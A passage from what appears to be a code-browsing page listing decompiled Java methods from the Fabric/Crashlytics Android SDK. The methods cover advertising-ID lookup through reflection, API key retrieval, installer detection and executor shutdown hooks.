    if (isInfoValid(infoToReturn)) {
        Fabric.getLogger().d(Fabric.TAG, "Using AdvertisingInfo from Reflection Provider");
    } else {
        infoToReturn = getServiceStrategy().getAdvertisingInfo();
        if (isInfoValid(infoToReturn)) {
            Fabric.getLogger().d(Fabric.TAG, "Using AdvertisingInfo from Service Provider");
        } else {
            Fabric.getLogger().d(Fabric.TAG, "AdvertisingInfo not present");
        }
    }
    return infoToReturn;
}



71
72
73
74
75
76
77
78
79
80
81
82
83
84

DeliveryMechanism

Java Code
private DeliveryMechanism(int id) {
    this.id = id;
}



12
13
14

getId

Java Code
public int getId() {
    return this.id;
}



16
17
18

toString

Java Code
public String toString() {
    return Integer.toString(this.id);
}



20
21
22

determineFrom

Java Code
public static DeliveryMechanism determineFrom(String installerPackageName) {
    if (BETA_APP_PACKAGE_NAME.equals(installerPackageName)) {
        return TEST_DISTRIBUTION;
    }
    if (installerPackageName != null) {
        return APP_STORE;
    }
    return DEVELOPER;
}



24
25
26
27
28
29
30
31
32

getCurrentTimeMillis

Java Code
public long getCurrentTimeMillis() {
    return System.currentTimeMillis();
}



4
5
6

getApiKey

Java Code
public static String getApiKey(Context context) {
    Fabric.getLogger().w(Fabric.TAG, "getApiKey(context) is deprecated, please upgrade kit(s) to the latest version.");
    return new ApiKey().getValue(context);
}



14
15
16
17

getApiKey

Java Code
public static String getApiKey(Context context, boolean debug) {
    Fabric.getLogger().w(Fabric.TAG, "getApiKey(context, debug) is deprecated, please upgrade kit(s) to the latest version.");
    return new ApiKey().getValue(context);
}



20
21
22
23

getValue

Java Code
public String getValue(Context context) {
    String apiKey = getApiKeyFromManifest(context);
    if (TextUtils.isEmpty(apiKey)) {
        apiKey = getApiKeyFromStrings(context);
    }
    if (TextUtils.isEmpty(apiKey)) {
        apiKey = getApiKeyFromFirebaseAppId(context);
    }
    if (TextUtils.isEmpty(apiKey)) {
        logErrorOrThrowException(context);
    }
    return apiKey;
}



25
26
27
28
29
30
31
32
33
34
35
36
37

getApiKeyFromFirebaseAppId

Java Code
protected String getApiKeyFromFirebaseAppId(Context context) {
    return new FirebaseInfo().getApiKeyFromFirebaseAppId(context);
}



39
40
41

getApiKeyFromManifest

Java Code
protected String getApiKeyFromManifest(Context context) {
    String apiKey = null;
    try {
        Bundle bundle = context.getPackageManager().getApplicationInfo(context.getPackageName(), 128).metaData;
        if (bundle != null) {
            apiKey = bundle.getString(FABRIC_API_KEY);
            if (STRING_TWITTER_CONSUMER_SECRET.equals(apiKey)) {
                Fabric.getLogger().d(Fabric.TAG, "Ignoring bad default value for Fabric ApiKey set by FirebaseUI-Auth");
                apiKey = null;
            }
            if (apiKey == null) {
                Fabric.getLogger().d(Fabric.TAG, "Falling back to Crashlytics key lookup from Manifest");
                apiKey = bundle.getString(CRASHLYTICS_API_KEY);
            }
        }
    } catch (Exception e) {
        Fabric.getLogger().d(Fabric.TAG, "Caught non-fatal exception while retrieving apiKey: " + e);
    }
    return apiKey;
}



43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

getApiKeyFromStrings

Java Code
protected String getApiKeyFromStrings(Context context) {
    int id = CommonUtils.getResourcesIdentifier(context, FABRIC_API_KEY, "string");
    if (id == 0) {
        Fabric.getLogger().d(Fabric.TAG, "Falling back to Crashlytics key lookup from Strings");
        id = CommonUtils.getResourcesIdentifier(context, CRASHLYTICS_API_KEY, "string");
    }
    if (id != 0) {
        return context.getResources().getString(id);
    }
    return null;
}



64
65
66
67
68
69
70
71
72
73
74

logErrorOrThrowException

Java Code
protected void logErrorOrThrowException(Context context) {
    if (Fabric.isDebuggable() || CommonUtils.isAppDebuggable(context)) {
        throw new IllegalArgumentException(buildApiKeyInstructions());
    }
    Fabric.getLogger().e(Fabric.TAG, buildApiKeyInstructions());
}



76
77
78
79
80
81

buildApiKeyInstructions

Java Code
protected String buildApiKeyInstructions() {
    return "Fabric could not be initialized, API key missing from AndroidManifest.xml. Add the following tag to your Application element \n\t<meta-data android:name=\"io.fabric.ApiKey\" android:value=\"YOUR_API_KEY\"/>";
}



83
84
85

getAdvertisingInfo

Java Code



getCurrentTimeMillis

Java Code



AdvertisingInfoReflectionStrategy

Java Code
public AdvertisingInfoReflectionStrategy(Context context) {
    this.context = context.getApplicationContext();
}



17
18
19

isGooglePlayServiceAvailable

Java Code
boolean isGooglePlayServiceAvailable(Context context) {
    try {
        if (((Integer) Class.forName(CLASS_NAME_GOOGLE_PLAY_SERVICES_UTILS).getMethod(METHOD_NAME_IS_GOOGLE_PLAY_SERVICES_AVAILABLE, new Class[]{Context.class}).invoke(null, new Object[]{context})).intValue() == 0) {
            return true;
        }
        return false;
    } catch (Exception e) {
        return false;
    }
}



21
22
23
24
25
26
27
28
29
30

getAdvertisingInfo

Java Code
public AdvertisingInfo getAdvertisingInfo() {
    if (isGooglePlayServiceAvailable(this.context)) {
        return new AdvertisingInfo(getAdvertisingId(), isLimitAdTrackingEnabled());
    }
    return null;
}



32
33
34
35
36
37

getAdvertisingId

Java Code
private String getAdvertisingId() {
    try {
        return (String) Class.forName(CLASS_NAME_ADVERTISING_ID_CLIENT_INFO).getMethod(METHOD_NAME_GET_ID, new Class[0]).invoke(getInfo(), new Object[0]);
    } catch (Exception e) {
        Fabric.getLogger().w(Fabric.TAG, "Could not call getId on com.google.android.gms.ads.identifier.AdvertisingIdClient$Info");
        return null;
    }
}



39
40
41
42
43
44
45
46

isLimitAdTrackingEnabled

Java Code
private boolean isLimitAdTrackingEnabled() {
    try {
        return ((Boolean) Class.forName(CLASS_NAME_ADVERTISING_ID_CLIENT_INFO).getMethod(METHOD_NAME_IS_LIMITED_AD_TRACKING_ENABLED, new Class[0]).invoke(getInfo(), new Object[0])).booleanValue();
    } catch (Exception e) {
        Fabric.getLogger().w(Fabric.TAG, "Could not call isLimitAdTrackingEnabled on com.google.android.gms.ads.identifier.AdvertisingIdClient$Info");
        return false;
    }
}



48
49
50
51
52
53
54
55

getInfo

Java Code
private Object getInfo() {
    Object obj = null;
    try {
        obj = Class.forName(CLASS_NAME_ADVERTISING_ID_CLIENT).getMethod(METHOD_NAME_GET_ADVERTISING_ID_INFO, new Class[]{Context.class}).invoke(null, new Object[]{this.context});
    } catch (Exception e) {
        Fabric.getLogger().w(Fabric.TAG, "Could not call getAdvertisingIdInfo on com.google.android.gms.ads.identifier.AdvertisingIdClient");
    }
    return obj;
}



57
58
59
60
61
62
63
64
65

load

Java Code
public String load(Context context) throws Exception {
    String installerPackageName = context.getPackageManager().getInstallerPackageName(context.getPackageName());
    return installerPackageName == null ? "" : installerPackageName;
}



12
13
14
15

getInstallerPackageName

Java Code
public String getInstallerPackageName(Context appContext) {
    try {
        String name = (String) this.installerPackageNameCache.get(appContext, this.installerPackageNameLoader);
        if ("".equals(name)) {
            return null;
        }
        return name;
    } catch (Exception e) {
        Fabric.getLogger().e(Fabric.TAG, "Failed to determine installer package name", e);
        return null;
    }
}



18
19
20
21
22
23
24
25
26
27
28
29

ExecutorUtils

Java Code



buildSingleThreadExecutorService

Java Code
public static ExecutorService buildSingleThreadExecutorService(String name) {
    ExecutorService executor = Executors.newSingleThreadExecutor(getNamedThreadFactory(name));
    addDelayedShutdownHook(name, executor);
    return executor;
}



21
22
23
24
25

buildRetryThreadPoolExecutor

Java Code
public static RetryThreadPoolExecutor buildRetryThreadPoolExecutor(String name, int corePoolSize, RetryPolicy retryPolicy, Backoff backoff) {
    RetryThreadPoolExecutor executor = new RetryThreadPoolExecutor(corePoolSize, getNamedThreadFactory(name), retryPolicy, backoff);
    addDelayedShutdownHook(name, executor);
    return executor;
}



27
28
29
30
31

buildSingleThreadScheduledExecutorService

Java Code
public static ScheduledExecutorService buildSingleThreadScheduledExecutorService(String name) {
    ScheduledExecutorService executor = Executors.newSingleThreadScheduledExecutor(getNamedThreadFactory(name));
    addDelayedShutdownHook(name, executor);
    return executor;
}



33
34
35
36
37

getNamedThreadFactory

Java Code
public static final ThreadFactory getNamedThreadFactory(final String threadNameTemplate) {
    final AtomicLong count = new AtomicLong(1);
    return new ThreadFactory() {
        public Thread newThread(final Runnable runnable) {



39
40
41
42

newThread

Java Code
public Thread newThread(final Runnable runnable) {
    Thread thread = Executors.defaultThreadFactory().newThread(new BackgroundPriorityRunnable() {
        public void onRun() {
            runnable.run();
        }
    });
    thread.setName(threadNameTemplate + count.getAndIncrement());
    return thread;
}



42
43
44
45
46
47
48
49
50

onRun

Java Code
public void onRun() {
    runnable.run();
}



44
45
46

addDelayedShutdownHook

Java Code
private static final void addDelayedShutdownHook(String serviceName, ExecutorService service) {
    addDelayedShutdownHook(serviceName, service, DEFAULT_TERMINATION_TIMEOUT, TimeUnit.SECONDS);
}



54
55
56

addDelayedShutdownHook

Java Code
public static final void addDelayedShutdownHook(String serviceName, ExecutorService service, long terminationTimeout, TimeUnit timeUnit) {
    final String str = serviceName;
    final ExecutorService executorService = service;
    final long j = terminationTimeout;
    final TimeUnit timeUnit2 = timeUnit;
    Runtime.getRuntime().addShutdownHook(new Thread(new BackgroundPriorityRunnable() {
        public void onRun() {
            try {
                Fabric.getLogger().d(Fabric.TAG, "Executing shutdown hook for " + str);
                executorService.shutdown();
                if (!executorService.awaitTermination(j, timeUnit2)) {
                    Fabric.getLogger().d(Fabric.TAG, str + " did not shut down in the allocated time. Requesting immediate shutdown.");
                    executorService.shutdownNow();
                }
            } catch (InterruptedException e) {
                Fabric.getLogger().d(Fabric.TAG, String.format(Locale.US, "Interrupted while waiting for %s to shut down. Requesting immediate shutdown.", new Object[]{str}));
                executorService.shutdownNow();
            }
        }
    }, "Crashlytics Shutdown Hook for " + serviceName));
}



58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

onRun

Java Code
public void onRun() {
    try {
        Fabric.getLogger().d(Fabric.TAG, "Executing shutdown hook for " + str);
        executorService.shutdown();
        if (!executorService.awaitTermination(j, timeUnit2)) {
            Fabric.getLogger().d(Fabric.TAG, str + " did not shut down in the allocated time. Requesting immediate shutdown.");
            executorService.shutdownNow();
        }
    } catch (InterruptedException e) {
        Fabric.getLogger().d(Fabric.TAG, String.format(Locale.US, "Interrupted while waiting for %s to shut down. Requesting immediate shutdown.", new Object[]{str}));
        executorService.shutdownNow();
    }
}
Crashlytics Shutdown Hook for " + serviceName));



64
65
66
67
68
69
70
71
72
73
74
75
76
77